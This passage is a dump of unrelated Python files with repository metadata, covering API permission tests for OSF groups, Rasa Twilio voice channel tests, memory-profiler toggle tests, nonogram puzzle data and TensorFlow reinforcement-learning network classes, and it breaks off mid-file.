[payload]}, auth=manager.auth, expect_errors=True, bulk=True) assert res.status_code == 400 assert res.json['errors'][0]['detail'] == 'Member identifier incorrectly formatted.' # test improper type payload = build_bulk_update_payload(osf_group._id, member._id, MANAGER) payload['type'] = 'bad_type' res = app.patch_json_api(url, {'data': [payload]}, auth=manager.auth, expect_errors=True, bulk=True) assert res.status_code == 409 # test invalid role payload = build_bulk_update_payload(osf_group._id, member._id, 'bad_perm') res = app.patch_json_api(url, {'data': [payload]}, auth=manager.auth, expect_errors=True, bulk=True) assert res.status_code == 400 assert res.json['errors'][0]['detail'] == 'bad_perm is not a valid role; choose manager or member.' # test user is not a member payload = build_bulk_update_payload(osf_group._id, user._id, MEMBER) res = app.patch_json_api(url, {'data': [payload]}, auth=manager.auth, expect_errors=True, bulk=True) assert res.status_code == 400 assert res.json['errors'][0]['detail'] == 'Could not find all objects to update.' # test cannot downgrade remaining manager payload = build_bulk_update_payload(osf_group._id, manager._id, MEMBER) res = app.patch_json_api(url, {'data': [payload]}, auth=manager.auth, expect_errors=True, bulk=True) assert res.status_code == 400 assert res.json['errors'][0]['detail'] == 'Group must have at least one manager.' # test cannot remove last confirmed manager osf_group.add_unregistered_member('Crazy 8s', 'eight@cos.io', Auth(manager), MANAGER) assert len(osf_group.managers) == 2 res = app.patch_json_api(url, {'data': [payload]}, auth=manager.auth, expect_errors=True, bulk=True) assert res.status_code == 400 assert res.json['errors'][0]['detail'] == 'Group must have at least one manager.' def create_bulk_delete_payload(group_id, user_id): return { 'id': '{}-{}'.format(group_id, user_id), 'type': 'group-members' } @pytest.mark.django_db @pytest.mark.enable_quickfiles_creation class TestOSFGroupMembersBulkDelete: def test_delete_perms(self, app, member, manager, user, osf_group, url): with override_flag(OSF_GROUPS, active=True): member_payload = create_bulk_delete_payload(osf_group._id, member._id) bulk_payload = {'data': [member_payload]} # test unauthenticated res = app.delete_json_api(url, bulk_payload, expect_errors=True, bulk=True) assert res.status_code == 401 # test user res = app.delete_json_api(url, bulk_payload, auth=user.auth, expect_errors=True, bulk=True) assert res.status_code == 403 # test member res = app.delete_json_api(url, bulk_payload, auth=member.auth, expect_errors=True, bulk=True) assert res.status_code == 403 # test manager assert osf_group.is_member(member) is True assert osf_group.is_manager(member) is False res = app.delete_json_api(url, bulk_payload, auth=manager.auth, bulk=True) assert res.status_code == 204 assert osf_group.is_member(member) is False assert osf_group.is_manager(member) is False # test user does not belong to OSF Group osf_group.make_manager(user) assert osf_group.is_member(user) is True assert osf_group.is_manager(user) is True user_payload = create_bulk_delete_payload(osf_group._id, user._id) bulk_payload = {'data': [user_payload, member_payload]} res = app.delete_json_api(url, bulk_payload, auth=user.auth, bulk=True, expect_errors=True) assert res.status_code == 404 assert res.json['errors'][0]['detail'] == '{} cannot be found in this OSFGroup'.format(member._id) # test bulk delete manager (not last one) osf_group.make_manager(user) assert osf_group.is_member(user) is True assert osf_group.is_manager(user) is True user_payload = create_bulk_delete_payload(osf_group._id, user._id) bulk_payload = {'data': [user_payload]} res = app.delete_json_api(url, bulk_payload, auth=user.auth, bulk=True) assert res.status_code == 204 assert osf_group.is_member(user) is False assert osf_group.is_manager(user) is False def test_delete_errors(self, app, member, manager, user, osf_group, url): with override_flag(OSF_GROUPS, active=True): # test invalid user invalid_payload = create_bulk_delete_payload(osf_group._id, '12345') res = app.delete_json_api(url, {'data': [invalid_payload]}, auth=manager.auth, expect_errors=True, bulk=True) assert res.status_code == 400 assert res.json['errors'][0]['detail'] == 'Could not find all objects to delete.' # test user does not belong to group invalid_payload = create_bulk_delete_payload(osf_group._id, user._id) res = app.delete_json_api(url, {'data': [invalid_payload]}, auth=manager.auth, expect_errors=True, bulk=True) assert res.status_code == 404 assert res.json['errors'][0]['detail'] == '{} cannot be found in this OSFGroup'.format(user._id) # test user is last manager invalid_payload = create_bulk_delete_payload(osf_group._id, manager._id) res = app.delete_json_api(url, {'data': [invalid_payload]}, auth=manager.auth, expect_errors=True, bulk=True) assert res.status_code == 400 assert res.json['errors'][0]['detail'] == 'Group must have at least one manager.' # test user is last registered manager osf_group.add_unregistered_member('Crazy 8s', 'eight@cos.io', Auth(manager), MANAGER) assert len(osf_group.managers) == 2 res = app.delete_json_api(url, {'data': [invalid_payload]}, auth=manager.auth, expect_errors=True, bulk=True) assert res.status_code == 400 assert res.json['errors'][0]['detail'] == 'Group must have at least one manager.'

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Python

OpenGLCffi/GL/EXT/ARB/cl_event.py

cydenix/OpenGLCffi

c78f51ae5e6b655eb2ea98f072771cf69e2197f3

[ "MIT" ]

null

OpenGLCffi/GL/EXT/ARB/cl_event.py

cydenix/OpenGLCffi

c78f51ae5e6b655eb2ea98f072771cf69e2197f3

[ "MIT" ]

null

OpenGLCffi/GL/EXT/ARB/cl_event.py

cydenix/OpenGLCffi

c78f51ae5e6b655eb2ea98f072771cf69e2197f3

[ "MIT" ]

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from OpenGLCffi.GL import params @params(api='gl', prms=['context', 'event', 'flags']) def glCreateSyncFromCLeventARB(context, event, flags): pass

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Python

h5Nastran/f06/tables/__init__.py

mjredmond/mrNastran

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2017-12-07T04:34:13.000Z

h5Nastran/f06/tables/__init__.py

mjredmond/mrNastran

4fa57c16e93622ad8be3fb2ed221415ed25c5635

[ "BSD-3-Clause" ]

null

h5Nastran/f06/tables/__init__.py

mjredmond/mrNastran

4fa57c16e93622ad8be3fb2ed221415ed25c5635

[ "BSD-3-Clause" ]

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from . import nodal

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py

Python

triangleArea.py

suyag/Unity.Library.eppz.Geometry

edd32571761100093902339773dd966ae690f9ef

[ "MIT" ]

null

triangleArea.py

suyag/Unity.Library.eppz.Geometry

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[ "MIT" ]

null

triangleArea.py

suyag/Unity.Library.eppz.Geometry

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[ "MIT" ]

null

import math def AreaOfTriangle(a,b,C): return a*b*math.sin(C)/2

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py

Python

main/views/public/contact/__init__.py

tiberiucorbu/av-website

f26f44a367d718316442506b130a7034697670b8

[ "MIT" ]

null

main/views/public/contact/__init__.py

tiberiucorbu/av-website

f26f44a367d718316442506b130a7034697670b8

[ "MIT" ]

null

main/views/public/contact/__init__.py

tiberiucorbu/av-website

f26f44a367d718316442506b130a7034697670b8

[ "MIT" ]

null

from contact_form import * from contact_controller import *

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be2a7efa45e0df8dafe94e4decf964cd6b6f98ea

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py

Python

tests/core/channels/test_twilio_voice.py

fintzd/rasa

6359be5509c7d87cd29c2ab5149bc45e843fea85

[ "Apache-2.0" ]

9,701

2019-04-16T15:46:27.000Z

2022-03-31T11:52:18.000Z

tests/core/channels/test_twilio_voice.py

fintzd/rasa

6359be5509c7d87cd29c2ab5149bc45e843fea85

[ "Apache-2.0" ]

6,420

2019-04-16T15:58:22.000Z

2022-03-31T17:54:35.000Z

tests/core/channels/test_twilio_voice.py

fintzd/rasa

6359be5509c7d87cd29c2ab5149bc45e843fea85

[ "Apache-2.0" ]

3,063

2019-04-16T15:23:52.000Z

2022-03-31T00:01:12.000Z

import logging import pytest from http import HTTPStatus from rasa import server from rasa.core.agent import Agent from rasa.core.channels import channel from rasa.shared.exceptions import InvalidConfigException, RasaException from rasa.core.channels.twilio_voice import TwilioVoiceInput from rasa.core.channels.twilio_voice import TwilioVoiceCollectingOutputChannel from typing import Text, Any, Dict, Type logger = logging.getLogger(__name__) async def test_twilio_voice_twiml_response_text(): inputs = { "initial_prompt": "hello", "reprompt_fallback_phrase": "i didn't get that", "speech_model": "default", "speech_timeout": "5", "assistant_voice": "woman", "enhanced": "false", } tv = TwilioVoiceInput(**inputs) output_channel = TwilioVoiceCollectingOutputChannel() await output_channel.send_text_message(recipient_id="Chuck Norris", text="Test:") assert len(output_channel.messages) == 1 assert output_channel.messages[0]["text"] == "Test:" twiml = tv._build_twilio_voice_response(output_channel.messages) assert ( str(twiml) == '<?xml version="1.0" encoding="UTF-8"?><Response>' '<Gather action="/webhooks/twilio_voice/webhook" ' 'actionOnEmptyResult="true" enhanced="false" input="speech" ' 'speechModel="default" speechTimeout="5"><Say voice="woman">' "Test:</Say></Gather></Response>" ) async def test_twilio_voice_twiml_response_buttons(): inputs = { "initial_prompt": "hello", "reprompt_fallback_phrase": "i didn't get that", "speech_model": "default", "speech_timeout": "5", "assistant_voice": "woman", "enhanced": "false", } tv = TwilioVoiceInput(**inputs) output_channel = TwilioVoiceCollectingOutputChannel() await output_channel.send_text_with_buttons( recipient_id="Chuck Norris", text="Buttons:", buttons=[ {"title": "Yes", "payload": "/affirm"}, {"title": "No", "payload": "/deny"}, ], ) assert len(output_channel.messages) == 3 message_str = " ".join([m["text"] for m in output_channel.messages]) assert message_str == "Buttons: Yes No" twiml = tv._build_twilio_voice_response(output_channel.messages) assert ( str(twiml) == '<?xml version="1.0" encoding="UTF-8"?><Response>' '<Say voice="woman">Buttons:</Say><Pause length="1" />' '<Say voice="woman">Yes</Say><Pause length="1" />' '<Gather action="/webhooks/twilio_voice/webhook" ' 'actionOnEmptyResult="true" enhanced="false" input="speech" ' 'speechModel="default" speechTimeout="5">' '<Say voice="woman">No</Say></Gather></Response>' ) @pytest.mark.parametrize( "configs, expected", [ ( { "initial_prompt": "hello", "reprompt_fallback_phrase": "i didn't get that", "speech_model": "default", "speech_timeout": "5", "assistant_voice": "alien", "enhanced": "false", }, InvalidConfigException, ), ( { "initial_prompt": "hello", "reprompt_fallback_phrase": "i didn't get that", "speech_model": "default", "speech_timeout": "not a number", "assistant_voice": "woman", "enhanced": "false", }, InvalidConfigException, ), ( { "initial_prompt": "hello", "reprompt_fallback_phrase": "i didn't get that", "speech_model": "default", "speech_timeout": "auto", "assistant_voice": "woman", "enhanced": "wrong", }, InvalidConfigException, ), ( { "initial_prompt": "hello", "reprompt_fallback_phrase": "i didn't get that", "speech_model": "default", "speech_timeout": "5", "assistant_voice": "woman", "enhanced": "true", }, InvalidConfigException, ), ( { "initial_prompt": "hello", "reprompt_fallback_phrase": "i didn't get that", "assistant_voice": "woman", "enhanced": "true", "speech_model": "default", "speech_timeout": "auto", }, InvalidConfigException, ), ( { "initial_prompt": "hello", "reprompt_fallback_phrase": "i didn't get that", "assistant_voice": "woman", "enhanced": "true", "speech_model": "phone_call", "speech_timeout": "auto", }, InvalidConfigException, ), ], ) def test_invalid_configs(configs: Dict[Text, Any], expected: Type[RasaException]): with pytest.raises(expected): TwilioVoiceInput(**configs) async def test_twilio_voice_remove_image(): with pytest.warns(UserWarning): output_channel = TwilioVoiceCollectingOutputChannel() await output_channel.send_response( recipient_id="Chuck Norris", message={"image": "https://i.imgur.com/nGF1K8f.jpg", "text": "Some text."}, ) async def test_twilio_voice_keep_image_text(): output_channel = TwilioVoiceCollectingOutputChannel() await output_channel.send_response( recipient_id="Chuck Norris", message={"image": "https://i.imgur.com/nGF1K8f.jpg", "text": "Some text."}, ) assert len(output_channel.messages) == 1 assert output_channel.messages[0]["text"] == "Some text." async def test_twilio_emoji_warning(): with pytest.warns(UserWarning): output_channel = TwilioVoiceCollectingOutputChannel() await output_channel.send_response( recipient_id="User", message={"text": "Howdy 😀"} ) async def test_twilio_voice_multiple_responses(): inputs = { "initial_prompt": "hello", "reprompt_fallback_phrase": "i didn't get that", "speech_model": "default", "speech_timeout": "5", "assistant_voice": "woman", "enhanced": "false", } tv = TwilioVoiceInput(**inputs) output_channel = TwilioVoiceCollectingOutputChannel() await output_channel.send_text_message( recipient_id="Chuck Norris", text="message 1" ) await output_channel.send_text_message( recipient_id="Chuck Norris", text="message 2" ) assert len(output_channel.messages) == 2 assert output_channel.messages[0]["text"] == "message 1" assert output_channel.messages[1]["text"] == "message 2" twiml = tv._build_twilio_voice_response(output_channel.messages) assert ( str(twiml) == '<?xml version="1.0" encoding="UTF-8"?><Response>' '<Say voice="woman">message 1</Say><Pause length="1" />' '<Gather action="/webhooks/twilio_voice/webhook" actionOnEmptyResult="true" ' 'enhanced="false" input="speech" speechModel="default" speechTimeout="5">' '<Say voice="woman">message 2</Say></Gather></Response>' ) async def test_twilio_receive_answer(stack_agent: Agent): app = server.create_app(agent=stack_agent) inputs = { "initial_prompt": "hello", "reprompt_fallback_phrase": "i didn't get that", "speech_model": "default", "speech_timeout": "5", "assistant_voice": "woman", "enhanced": "false", } tv = TwilioVoiceInput(**inputs) channel.register([tv], app, "/webhooks/") client = app.asgi_client body = {"From": "Tobias", "CallStatus": "ringing"} _, response = await client.post( "/webhooks/twilio_voice/webhook", headers={"Content-type": "application/x-www-form-urlencoded"}, data=body, ) assert response.status == HTTPStatus.OK # Actual test xml content assert ( response.body == b'<?xml version="1.0" encoding="UTF-8"?><Response>' b'<Gather action="/webhooks/twilio_voice/webhook" actionOnEmptyResult="true" ' b'enhanced="false" input="speech" speechModel="default" speechTimeout="5">' b'<Say voice="woman">hey there None!</Say></Gather></Response>' ) async def test_twilio_receive_no_response(stack_agent: Agent): app = server.create_app(agent=stack_agent) inputs = { "initial_prompt": "hello", "reprompt_fallback_phrase": "i didn't get that", "speech_model": "default", "speech_timeout": "5", "assistant_voice": "woman", "enhanced": "false", } tv = TwilioVoiceInput(**inputs) channel.register([tv], app, "/webhooks/") client = app.asgi_client body = {"From": "Matthew", "CallStatus": "ringing"} _, response = await client.post( "/webhooks/twilio_voice/webhook", headers={"Content-type": "application/x-www-form-urlencoded"}, data=body, ) assert response.status == HTTPStatus.OK assert response.body body = {"From": "Matthew", "CallStatus": "answered"} _, response = await client.post( "/webhooks/twilio_voice/webhook", headers={"Content-type": "application/x-www-form-urlencoded"}, data=body, ) assert response.status == HTTPStatus.OK assert ( response.body == b'<?xml version="1.0" encoding="UTF-8"?><Response>' b'<Gather action="/webhooks/twilio_voice/webhook" actionOnEmptyResult="true" ' b'enhanced="false" input="speech" speechModel="default" speechTimeout="5">' b'<Say voice="woman">hey there None!</Say></Gather></Response>' ) async def test_twilio_receive_no_previous_response(stack_agent: Agent): app = server.create_app(agent=stack_agent) inputs = { "initial_prompt": "hello", "reprompt_fallback_phrase": "i didn't get that", "speech_model": "default", "speech_timeout": "5", "assistant_voice": "woman", "enhanced": "false", } tv = TwilioVoiceInput(**inputs) channel.register([tv], app, "/webhooks/") client = app.asgi_client body = {"From": "Ray", "CallStatus": "answered"} _, response = await client.post( "/webhooks/twilio_voice/webhook", headers={"Content-type": "application/x-www-form-urlencoded"}, data=body, ) assert response.status == HTTPStatus.OK assert ( response.body == b'<?xml version="1.0" encoding="UTF-8"?><Response>' b'<Gather action="/webhooks/twilio_voice/webhook" actionOnEmptyResult="true" ' b'enhanced="false" input="speech" speechModel="default" speechTimeout="5">' b'<Say voice="woman">i didn\'t get that</Say></Gather></Response>' )

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null

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1

0

null

0

6

07851db85005579d4b212bad7904bf16717fe404

168

py

Python

diff_cover/__init__.py

singingwolfboy/diff-cover

e270af76416a536de1c63e4dfcd0f9bd94762668

[ "Apache-2.0" ]

null

diff_cover/__init__.py

singingwolfboy/diff-cover

e270af76416a536de1c63e4dfcd0f9bd94762668

[ "Apache-2.0" ]

null

diff_cover/__init__.py

singingwolfboy/diff-cover

e270af76416a536de1c63e4dfcd0f9bd94762668

[ "Apache-2.0" ]

null

VERSION = '0.7.3' DESCRIPTION = 'Automatically find diff lines that need test coverage.' QUALITY_DESCRIPTION = 'Automatically find diff lines with quality violations.'

42

78

0.791667

22

168

6

0.727273

0.363636

0.424242

0.484848

0.560606

0

0.020548

0.130952

168

3

79

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1

0

1

0

null

0

6

07f83868dc7101b04b92dc93024bd5dd2fd8259a

153

py

Python

Django01/App/models.py

littlelittlepoint/LittleTeam

6aebb6239e5d9cfc419adbd3c9117172be67c0f4

[ "Apache-2.0" ]

1

2018-08-17T12:11:38.000Z

Django01/App/models.py

littlelittlepoint/LittleTeam

6aebb6239e5d9cfc419adbd3c9117172be67c0f4

[ "Apache-2.0" ]

null

Django01/App/models.py

littlelittlepoint/LittleTeam

6aebb6239e5d9cfc419adbd3c9117172be67c0f4

[ "Apache-2.0" ]

null

from django.db import models class Student(models.Model): s_name = models.CharField(max_length=32), s_class = models.CharField(max_length=16),

21.857143

46

0.745098

23

153

4.782609

0.652174

0.272727

0.327273

0.436364

0

0.030534

0.143791

153

6

47

25.5

0.80916

0

1

0

false

0

0.25

0

1

0

1

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null

1

0

1

0

null

0

1

0

6

07fd15a558a55cbac4fa9c9b7704a2bbafd9c936

6,153

py

Python

turbogears/tests/test_memory_profiler_setup.py

timmartin19/turbogears

b5420cb7e55757d418d8fadb512dbd7803c4279c

[ "MIT" ]

null

turbogears/tests/test_memory_profiler_setup.py

timmartin19/turbogears

b5420cb7e55757d418d8fadb512dbd7803c4279c

[ "MIT" ]

9

2015-01-27T19:13:56.000Z

2019-03-29T14:44:31.000Z

turbogears/tests/test_memory_profiler_setup.py

timmartin19/turbogears

b5420cb7e55757d418d8fadb512dbd7803c4279c

[ "MIT" ]

13

2015-04-14T14:15:53.000Z

2020-03-18T01:05:46.000Z

from unittest import TestCase from turbogears.memory_profiler_setup import _get_state_from_pipe_command, MemoryProfilerState, _process_fifo_input, \ get_memory_profile_logging_on, _is_pympler_profiling_value_on, _set_pympler_profiling_value from mock import MagicMock from hamcrest import assert_that, equal_to class TestMemoryProfilerSetup(TestCase): def test__get_state_from_pipe_command_unknown(self): state, params = _get_state_from_pipe_command('sometrash') assert_that(state, equal_to(MemoryProfilerState.UNKNOWN)) assert_that(params, equal_to(None)) def test__get_state_from_pipe_command_on(self): state, params = _get_state_from_pipe_command('on') assert_that(state, equal_to(MemoryProfilerState.ON)) assert_that(params, equal_to(None)) state, params = _get_state_from_pipe_command('ON') assert_that(state, equal_to(MemoryProfilerState.ON)) assert_that(params, equal_to(None)) state, params = _get_state_from_pipe_command('On') assert_that(state, equal_to(MemoryProfilerState.ON)) assert_that(params, equal_to(None)) def test__get_state_from_pipe_command_off(self): state, params = _get_state_from_pipe_command('off') assert_that(state, equal_to(MemoryProfilerState.OFF)) assert_that(params, equal_to(None)) state, params = _get_state_from_pipe_command('OFF') assert_that(state, equal_to(MemoryProfilerState.OFF)) assert_that(params, equal_to(None)) state, params = _get_state_from_pipe_command('Off') assert_that(state, equal_to(MemoryProfilerState.OFF)) assert_that(params, equal_to(None)) def test__get_state_from_pipe_command_echo(self): state, params = _get_state_from_pipe_command('echo') assert_that(state, equal_to(MemoryProfilerState.ECHO)) assert_that(params, equal_to(None)) state, params = _get_state_from_pipe_command('ECHO') assert_that(state, equal_to(MemoryProfilerState.ECHO)) assert_that(params, equal_to(None)) state, params = _get_state_from_pipe_command('Echo') assert_that(state, equal_to(MemoryProfilerState.ECHO)) assert_that(params, equal_to(None)) def test__get_state_from_pipe_command_pympler(self): # no additional paramteres state, params = _get_state_from_pipe_command('pympler') assert_that(state, equal_to(MemoryProfilerState.UNKNOWN)) assert_that(params, equal_to(None)) state, params = _get_state_from_pipe_command('pympler some_controller.someendpoint on') assert_that(state, equal_to(MemoryProfilerState.PYMPLER)) assert_that(params, equal_to({'endpoint': 'some_controller.someendpoint', 'persistence': 'on'})) state, params = _get_state_from_pipe_command('pympler some_controller.someendpoint once') assert_that(state, equal_to(MemoryProfilerState.PYMPLER)) assert_that(params, equal_to({'endpoint': 'some_controller.someendpoint', 'persistence': 'once'})) state, params = _get_state_from_pipe_command('pympler some_controller.someendpoint off') assert_that(state, equal_to(MemoryProfilerState.PYMPLER)) assert_that(params, equal_to({'endpoint': 'some_controller.someendpoint', 'persistence': 'off'})) state, params = _get_state_from_pipe_command('pympler some_controller.someendpoint nonsense') assert_that(state, equal_to(MemoryProfilerState.UNKNOWN)) assert_that(params, equal_to(None)) def test_toggle_memory_profile_via_fifo_on(self): thread_logger = MagicMock(info=MagicMock()) config_fifo = MagicMock(readline=MagicMock(return_value='ON\n')) _process_fifo_input(thread_logger, config_fifo) assert_that(get_memory_profile_logging_on(), equal_to(True)) def test_toggle_memory_profile_via_fifo_off(self): thread_logger = MagicMock(info=MagicMock()) config_fifo = MagicMock(readline=MagicMock(return_value='OFF\n')) _process_fifo_input(thread_logger, config_fifo) assert_that(get_memory_profile_logging_on(), equal_to(False)) def test_toggle_memory_profile_via_fifo_pympler_add_enpoint_once(self): thread_logger = MagicMock(info=MagicMock()) endpoint_path = 'magic_controller.end_point' config_fifo = MagicMock(readline=MagicMock(return_value='ON\n')) _process_fifo_input(thread_logger, config_fifo) config_fifo = MagicMock(readline=MagicMock(return_value='pympler {} ONCE\n'.format(endpoint_path))) _process_fifo_input(thread_logger, config_fifo) assert_that(get_memory_profile_logging_on(), equal_to(True)) assert_that(_is_pympler_profiling_value_on(endpoint_path), equal_to(True)) def test_pympler_profiling_value_management(self): _set_pympler_profiling_value('test1', 'on') _set_pympler_profiling_value('test2', 'ON') _set_pympler_profiling_value('test3', 'On') _set_pympler_profiling_value('test4', 'ONCE') _set_pympler_profiling_value('test5', 'once') _set_pympler_profiling_value('test6', 'once') # can get more then once assert_that(_is_pympler_profiling_value_on('test1'), equal_to(True)) assert_that(_is_pympler_profiling_value_on('test1'), equal_to(True)) # can turn off assert_that(_is_pympler_profiling_value_on('test2'), equal_to(True)) _set_pympler_profiling_value('test2', 'off') assert_that(_is_pympler_profiling_value_on('test2'), equal_to(False)) # can read capitalized assert_that(_is_pympler_profiling_value_on('test3'), equal_to(True)) # can read only once assert_that(_is_pympler_profiling_value_on('test4'), equal_to(True)) assert_that(_is_pympler_profiling_value_on('test4'), equal_to(False)) # can read lower case assert_that(_is_pympler_profiling_value_on('test5'), equal_to(True)) # can turn off a one time execution profiler _set_pympler_profiling_value('test6', 'off') assert_that(_is_pympler_profiling_value_on('test6'), equal_to(False))

53.043103

118

0.737039

783

6,153

5.302682

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0.060694

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0.864403

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0.762524

0.703757

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6,153

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119

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0.806829

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false

0

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0

1

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null

0

1

0

6

6af1b72d366ebdf693f2b6c9861bf6b4a0aac8e1

1,528

py

Python

google_or_tools/nonogram_pbn_bucks.py

Wikunia/hakank

030bc928d2efe8dcbc5118bda3f8ae9575d0fd13

[ "MIT" ]

279

2015-01-10T09:55:35.000Z

2022-03-28T02:34:03.000Z

google_or_tools/nonogram_pbn_bucks.py

Wikunia/hakank

030bc928d2efe8dcbc5118bda3f8ae9575d0fd13

[ "MIT" ]

10

2017-10-05T15:48:50.000Z

2021-09-20T12:06:52.000Z

google_or_tools/nonogram_pbn_bucks.py

Wikunia/hakank

030bc928d2efe8dcbc5118bda3f8ae9575d0fd13

[ "MIT" ]

83

2015-01-20T03:44:00.000Z

2022-03-13T23:53:06.000Z

# webpbn.com Puzzle #27: Party at the Right [Political] # Copyright 2004 by Jan Wolter # rows = 23 row_rule_len = 8 row_rules = [ [0, 0, 0, 0, 0, 0, 0, 11], [0, 0, 0, 0, 0, 0, 0, 17], [0, 0, 0, 0, 3, 5, 5, 3], [0, 0, 0, 0, 2, 2, 2, 1], [0, 2, 1, 3, 1, 3, 1, 4], [0, 0, 0, 0, 3, 3, 3, 3], [0, 5, 1, 3, 1, 3, 1, 3], [0, 0, 0, 0, 3, 2, 2, 4], [0, 0, 0, 0, 5, 5, 5, 5], [0, 0, 0, 0, 0, 0, 0, 23], [0, 0, 0, 0, 0, 0, 0, 0], [0, 0, 0, 0, 0, 0, 0, 23], [0, 0, 0, 0, 0, 0, 1, 1], [0, 0, 0, 0, 0, 0, 1, 1], [0, 0, 0, 0, 0, 1, 2, 1], [0, 0, 0, 0, 1, 1, 1, 1], [0, 0, 0, 0, 1, 1, 1, 1], [0, 0, 0, 1, 10, 1, 2, 1], [0, 1, 1, 1, 1, 1, 1, 3], [1, 1, 1, 1, 1, 1, 1, 1], [0, 1, 1, 1, 1, 1, 1, 1], [0, 0, 1, 1, 1, 1, 2, 2], [0, 0, 0, 0, 0, 5, 5, 3] ] cols = 27 col_rule_len = 6 col_rules = [ [0, 0, 0, 0, 4, 12], [0, 0, 0, 6, 1, 1], [0, 0, 0, 8, 1, 1], [0, 3, 2, 2, 1, 1], [2, 1, 1, 2, 1, 6], [0, 0, 1, 1, 1, 1], [3, 1, 1, 2, 1, 1], [0, 3, 2, 3, 1, 1], [0, 0, 0, 10, 1, 1], [0, 4, 2, 2, 1, 1], [3, 1, 1, 2, 1, 1], [0, 0, 2, 1, 1, 1], [3, 1, 1, 2, 1, 1], [0, 3, 2, 3, 1, 6], [0, 0, 0, 10, 1, 1], [0, 4, 2, 2, 1, 1], [3, 1, 1, 2, 1, 1], [0, 0, 1, 1, 1, 9], [2, 1, 1, 2, 1, 1], [0, 2, 2, 3, 1, 3], [0, 0, 0, 8, 1, 5], [0, 0, 0, 6, 1, 1], [0, 0, 0, 4, 9, 1], [0, 0, 0, 0, 1, 1], [0, 0, 0, 0, 2, 1], [0, 0, 0, 0, 1, 1], [0, 0, 0, 0, 0, 4] ]

24.253968

55

0.310864

376

1,528

1.24734

0.093085

0.45629

0.479744

0.400853

0.692964

0.573561

0.486141

0.434968

0.379531

0.341151

0

0.390608

0.38678

1,528

62

56

24.645161

0.109925

0.05301

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0

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false

0

1

null

1

0

1

0

1

0

null

0

6

ed2b21fd06ec0808da42e448a2911351887fe8ed

5,591

py

Python

example_model/value/cnn/discrete.py

SunandBean/tensorflow_RL

a248cbfb99b2041f6f7cc008fcad53fb83ac486e

[ "MIT" ]

60

2019-01-29T14:13:00.000Z

2020-11-24T09:08:05.000Z

example_model/value/cnn/discrete.py

SunandBean/tensorflow_RL

a248cbfb99b2041f6f7cc008fcad53fb83ac486e

[ "MIT" ]

2

2019-08-14T06:44:32.000Z

2020-11-12T12:57:55.000Z

example_model/value/cnn/discrete.py

SunandBean/tensorflow_RL

a248cbfb99b2041f6f7cc008fcad53fb83ac486e

[ "MIT" ]

37

2019-01-22T05:19:34.000Z

2021-04-12T02:27:50.000Z

import tensorflow as tf import numpy as np class CNNQRDQN: def __init__(self, name, window_size, obs_stack, output_size, num_support): self.window_size = window_size self.obs_stack = obs_stack self.output_size = output_size self.num_support = num_support with tf.variable_scope(name): self.input = tf.placeholder(tf.float32, shape=[None, self.window_size, self.window_size, self.obs_stack]) self.conv1 = tf.layers.conv2d(inputs=self.input, filters=32, kernel_size=[8, 8], strides=[4, 4], padding='VALID', activation=tf.nn.relu) self.conv2 = tf.layers.conv2d(inputs=self.conv1, filters=64, kernel_size=[4, 4], strides=[2, 2], padding='VALID', activation=tf.nn.relu) self.conv3 = tf.layers.conv2d(inputs=self.conv2, filters=64, kernel_size=[3, 3], strides=[1, 1], padding='VALID', activation=tf.nn.relu) self.reshape = tf.reshape(self.conv3, [-1, 7 * 7 * 64]) self.l1 = tf.layers.dense(inputs=self.reshape, units=512, activation=tf.nn.relu) self.l2 = tf.layers.dense(inputs=self.l1, units=self.output_size * self.num_support, activation=None) self.net = tf.reshape(self.l2, [-1, self.output_size, self.num_support]) self.scope = tf.get_variable_scope().name def get_variables(self): return tf.get_collection(tf.GraphKeys.GLOBAL_VARIABLES, self.scope) def get_trainable_variables(self): return tf.get_collection(tf.GraphKeys.TRAINABLE_VARIABLES, self.scope) class CNNIQN: def __init__(self, name, window_size, obs_stack, output_size, num_support, batch_size): self.window_size = window_size self.obs_stack = obs_stack self.output_size = output_size self.num_support = num_support self.batch_size = batch_size self.quantile_embedding_dim = 128 with tf.variable_scope(name): self.input = tf.placeholder(tf.float32, shape=[None, self.window_size, self.window_size, self.obs_stack]) self.input_expand = tf.expand_dims(self.input, axis=1) self.input_tile = tf.tile(self.input_expand, [1, self.num_support, 1, 1, 1]) self.input_reshape = tf.reshape(self.input_tile, [-1, self.window_size, self.window_size, self.obs_stack]) self.conv1 = tf.layers.conv2d(inputs=self.input_reshape, filters=32, kernel_size=[8, 8], strides=[4, 4], padding='VALID', activation=tf.nn.relu) self.conv2 = tf.layers.conv2d(inputs=self.conv1, filters=64, kernel_size=[4, 4], strides=[2, 2], padding='VALID', activation=tf.nn.relu) self.conv3 = tf.layers.conv2d(inputs=self.conv2, filters=64, kernel_size=[3, 3], strides=[1, 1], padding='VALID', activation=tf.nn.relu) self.reshape = tf.reshape(self.conv3, [-1, 7 * 7 * 64]) self.l1 = tf.layers.dense(inputs=self.reshape, units=self.quantile_embedding_dim, activation=tf.nn.relu) self.tau = tf.placeholder(tf.float32, [None, self.num_support]) self.tau_reshape = tf.reshape(self.tau, [-1, 1]) self.pi_mtx = tf.constant(np.expand_dims(np.pi * np.arange(0, 64), axis=0), dtype=tf.float32) self.cos_tau = tf.cos(tf.matmul(self.tau_reshape, self.pi_mtx)) self.phi = tf.layers.dense(inputs=self.cos_tau, units=self.quantile_embedding_dim, activation=tf.nn.relu) self.net_sum = tf.multiply(self.l1, self.phi) self.net_l1 = tf.layers.dense(inputs=self.net_sum, units=512, activation=tf.nn.relu) self.net_l2 = tf.layers.dense(inputs=self.net_l1, units=256, activation=tf.nn.relu) self.net_l3 = tf.layers.dense(inputs=self.net_l2, units=self.output_size, activation=None) self.net_action = tf.transpose(tf.split(self.net_l3, 1, axis=0), perm=[0, 2, 1]) self.net = tf.transpose(tf.split(self.net_l3, self.batch_size, axis=0), perm=[0, 2, 1]) self.scope = tf.get_variable_scope().name def get_variables(self): return tf.get_collection(tf.GraphKeys.GLOBAL_VARIABLES, self.scope) def get_trainable_variables(self): return tf.get_collection(tf.GraphKeys.TRAINABLE_VARIABLES, self.scope) class CNNDQN: def __init__(self, name, window_size, obs_stack, output_size): self.window_size = window_size self.obs_stack = obs_stack self.output_size = output_size with tf.variable_scope(name): self.input = tf.placeholder(tf.float32, shape=[None, self.window_size, self.window_size, self.obs_stack]) self.conv1 = tf.layers.conv2d(inputs=self.input, filters=32, kernel_size=[8, 8], strides=[4, 4], padding='VALID', activation=tf.nn.relu) self.conv2 = tf.layers.conv2d(inputs=self.conv1, filters=64, kernel_size=[4, 4], strides=[2, 2], padding='VALID', activation=tf.nn.relu) self.conv3 = tf.layers.conv2d(inputs=self.conv2, filters=64, kernel_size=[3, 3], strides=[1, 1], padding='VALID', 